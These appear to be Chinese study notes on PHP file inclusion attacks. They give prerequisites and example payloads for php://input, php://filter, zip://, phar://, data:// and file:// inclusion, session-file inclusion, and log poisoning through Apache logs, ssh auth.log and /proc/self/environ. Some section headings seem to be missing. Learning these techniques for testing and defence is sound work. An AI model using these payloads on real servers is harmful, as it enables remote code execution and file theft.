- include()
- include_once()
- require()
- require_once()
RFI(Remote File Inclusion)
前提:php.ini中进行配置
allow_url_fopen = On
allow_url_include = On
可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行
前提:需要开启allow_url_include=on,对allow_url_fopen不做要求
EXP:
http://127.0.0.1/index.php?file=php://input
POST Data:
<?php phpinfo();?>
前提:只是读取,所以只需要开启allow_url_fopen,对allow_url_include不做要求
EXP:
http://127.0.0.1/index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php
zip://可以访问压缩文件中的文件
前提:使用zip协议,需要将#编码为%23,所以需要PHP 的版本> =5.3.0,要是因为版本的问题无法将#编码成%23,可以手动把#改成%23。
EXP:
http://127.0.0.1/index.php?file=zip://test.zip#shell.php
与zip://协议类似,但用法不同,zip://伪协议中是用#把压缩文件路径和压缩文件的子文件名隔开,而phar://伪协议中是用/把压缩文件路径和压缩文件的子文件名隔开,即
EXP:
http://127.0.0.1/index.php?file=phar://test.phar/shell.php
和php伪协议的input类似,也可以执行任意代码,但利用条件和用法不同
前提:allow_url_fopen参数与allow_url_include都需开启
EXP:
http://127.0.0.1/index.php?file=data:text/plain,<?php 执行内容 ?>
http://127.0.0.1/index.php?file=data:text/plain;base64,编码后的php代码
file:// 用于访问本地文件系统,且不受allow_url_fopen与allow_url_include的影响。
EXP:
http://127.0.0.1/index.php?file=file://文件绝对路径
前提:session文件路径已知,且其中内容部分可控。
常见存放位置:
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。
很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/。
需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log
EXP:
$ ssh '<?php phpinfo(); ?>'@remotehost
前提:
php以cgi方式运行,这样environ才会保持UA头。
environ文件存储位置已知,且environ文件可读。
EXP
GET /index.php?file=../../../../proc/self/environ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 <?phpinfo();?>
Connection: close